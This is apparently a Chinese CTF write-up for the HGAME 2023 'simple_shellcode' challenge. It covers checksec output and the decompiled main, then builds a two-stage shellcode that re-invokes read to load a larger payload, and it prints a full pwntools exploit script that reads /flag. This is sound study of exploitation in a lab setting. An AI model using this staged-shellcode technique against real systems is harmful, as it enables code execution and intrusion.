题面
一次read不够多,为什么不再读一次呢?
提供了 lib2.31 和对应的 ld,还有二进制文件。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week1-simple_shellcode/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
保护全开呢。
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000u, 7, 33, -1, 0);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10u);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}
|
利用 mmap 开辟 0xcafe0000 ~ 0xcafe1000 这块内存权限带可读可写可执行权限,然后从 stdin 读 0x10 字节写入该区域。
执行 sandbox 函数。看不懂,没影响。
最后执行 0xcafe0000 的代码。
利用
这里可以写入 shellcode 但是只有 0x10 不足以写入完成 shell 或者查看 flag 的 code。题面已经说了,可以再次 read 调用。可以先 gdb 动调查看调用 MEMORY[xcafe0000](); 的时候的寄存器情况,对 main+131 位置打断点进去:

要调用 read,可以用 syscall。read 的 syscall 是 0,而刚好存放 syscall 号的 eax 寄存器是 0。接下来还有 rdi,rsi,rdx 需要构建。
1
2
3
4
|
ssize_t read(int fd, void buf[count], size_t count);
rdi : fd
rsi : buf[count]
rdx : count
|
这里的 rdi 应该放 0,rsi 放 #cafe0010(向后偏移一点确保不会覆盖前面的 shellcode),rdx 放比较大的数量确保写入空间。
这里 rdx 就是 0xcafe0000,可以将其 mov 到 rsi,然后将 rdi 置 0 从标准输入里面写。
最后 rsi 就是我们接下来第二次写入 shellcode 的地方,可以直接 call rsi。
得到 shellcode:
1
2
3
4
5
|
xor rdi, rdi;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
|
这样就会再次调用 read 写入 0xcafe0010。
之后我们只需要调用 cat /flag 的 shellcode 就可以了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'info')
io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 25921)
#gdb.attach(io)
shellcode = asm('''
xor rdi, rdi;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
''')
io.sendline(shellcode)
payload = asm(shellcraft.cat('/flag'))
io.sendline(payload)
io.interactive()
|